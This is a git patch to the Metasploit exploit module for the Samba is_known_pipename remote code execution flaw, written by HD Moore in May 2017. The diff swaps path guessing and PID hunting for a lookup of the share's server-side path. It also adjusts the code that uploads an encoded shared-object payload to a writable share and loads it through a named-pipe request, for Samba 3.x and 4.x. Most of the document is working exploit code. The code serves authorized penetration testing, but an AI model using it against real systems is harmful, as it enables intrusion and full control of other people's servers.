From 123a03fd218367dbeb2dfcfc8a978cc9ad080723 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 17:02:18 -0500 Subject: [PATCH] Detect server-side path, work on Samba 3.x and 4.x --- .../exploits/linux/samba/is_known_pipename.rb | 153 ++++-------------- 1 file changed, 28 insertions(+), 125 deletions(-) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 4a56f509b8..56365bfc27 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -22,10 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => [ - 'steelo ', # Vulnerability Discovery + 'steelo ', # Vulnerability Discovery & Python Exploit 'hdm', # Metasploit Module 'Brendan Coles ', # Check logic - 'Tavis Ormandy ', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => @@ -52,6 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], + 'DefaultOptions' => + { + 'DCERPC::fake_bind_multi' => false, + 'SHELL' => '/bin/sh', + }, 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', 'DefaultTarget' => 1)) @@ -69,29 +73,6 @@ class MetasploitModule < Msf::Exploit::Remote ]) end - - def generate_common_locations - candidates = [] - if datastore['SMB_SHARE_BASE'].to_s.length > 0 - candidates << datastore['SMB_SHARE_BASE'] - end - - %W{ /volume1 /volume2 /volume3 /volume4 - /shared /mnt /mnt/usb /media /mnt/media - /var/samba /tmp /home /home/shared - /tank - }.each do |base_name| - candidates << base_name - candidates << [base_name, @share] - candidates << [base_name, @share.downcase] - candidates << [base_name, @share.upcase] - candidates << [base_name, @share.capitalize] - candidates << [base_name, @share.gsub(" ", "_")] - end - - candidates.uniq - end - def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") @@ -110,15 +91,13 @@ class MetasploitModule < Msf::Exploit::Remote return nil ensure - if self.simple.shares["\\\\#{rhost}\\#{share}"] - self.simple.disconnect("\\\\#{rhost}\\#{share}") - end + simple.disconnect("\\\\#{rhost}\\#{share}") end end def verify_writeable_directory(share, directory="") begin - self.simple.connect("\\\\#{rhost}\\#{share}") + simple.connect("\\\\#{rhost}\\#{share}") random_filename = Rex::Text.rand_text_alpha(5)+".txt" filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" @@ -135,56 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote return false ensure - if self.simple.shares["\\\\#{rhost}\\#{share}"] - self.simple.disconnect("\\\\#{rhost}\\#{share}") - end + simple.disconnect("\\\\#{rhost}\\#{share}") end end - def share_type(val) - [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] - end - - def enumerate_shares_lanman - shares = [] - begin - res = self.simple.client.trans( - "\\PIPE\\LANMAN", - ( - [0x00].pack('v') + - "WrLeh\x00" + - "B13BWz\x00" + - [0x01, 65406].pack("vv") - )) - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("Could not enumerate shares via LANMAN") - return [] - end - if res.nil? - vprint_error("Could not enumerate shares via LANMAN") - return [] - end - - lerror, lconv, lentries, lcount = res['Payload'].to_s[ - res['Payload'].v['ParamOffset'], - res['Payload'].v['ParamCount'] - ].unpack("v4") - - data = res['Payload'].to_s[ - res['Payload'].v['DataOffset'], - res['Payload'].v['DataCount'] - ] - - 0.upto(lentries - 1) do |i| - sname,tmp = data[(i * 20) + 0, 14].split("\x00") - stype = data[(i * 20) + 14, 2].unpack('v')[0] - scoff = data[(i * 20) + 16, 2].unpack('v')[0] - scoff -= lconv if lconv != 0 - scomm,tmp = data[scoff, data.length - scoff].split("\x00") - shares << [ sname, share_type(stype), scomm] - end - - shares + def find_share_path + share_info = smb_netsharegetinfo(@share) + share_info[:path].gsub("\\", "/").sub(/^.*:/, '') end def probe_module_path(path, simple_client=self.simple) @@ -213,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote def find_writeable_share_path @path = nil - share_info = enumerate_shares_lanman + share_info = smb_netshareenumall if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end @@ -243,6 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" + wfd = simple.open(filename, 'rwct') wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} @@ -250,68 +187,34 @@ class MetasploitModule < Msf::Exploit::Remote wfd.close @payload_name = random_filename - return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure - if self.simple.shares["\\\\#{rhost}\\#{@share}"] - self.simple.disconnect("\\\\#{rhost}\\#{@share}") - end + simple.disconnect("\\\\#{rhost}\\#{@share}") end + + print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}") + return true end def find_payload + # Retrieve the server-side path of the share like a boss + print_status("Retrieving the remote path of the share '#{@share}'") + share_path = find_share_path - # Reconnect to IPC$ + target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') + + print_status("Loading the payload from server-side path #{target}...") simple.connect("\\\\#{rhost}\\IPC$") - # Look for common paths first, since they can be a lot quicker than hunting PIDs - print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") - generate_common_locations.each do |location| - target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') - print_status("Trying location #{target}...") - probe_module_path(target) - end - - # Exit early if we already have a session - return if session_created? - - return unless datastore['BruteforcePID'] - - # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d - # to non-root, but their /proc/pid directories are still owned by root. Trying to - # read the /proc/other-pid/cwd/target.so results in permission denied. There is a - # good chance that this still works on some embedded systems and odd-ball Linux. - - # Use the PID hunting strategy devised by Tavis Ormandy - print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") - - # Configure the main connection to have a working directory of the file share - simple.connect("\\\\#{rhost}\\#{@share}") - - # Use a second connection to brute force the PID of the first connection - probe_conn = connect(false) - smb_login(probe_conn) - probe_conn.connect("\\\\#{rhost}\\#{@share}") - probe_conn.connect("\\\\#{rhost}\\IPC$") - - # Run from 2 to MAX_PID (ushort) trying to read the other process CWD - 2.upto(32768) do |pid| - - # Look for the PID associated with our main SMB connection - target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') - vprint_status("Trying PID with target path #{target}...") - probe_module_path(target, probe_conn) - - # Keep our main connection alive - if pid % 1000 == 0 - self.simple.client.find_first("\\*") - end - end + # The first method works against Samba 3.x + probe_module_path("\\\\PIPE\\" + target) + # The second method works against Samba 4.x + probe_module_path(target) end def check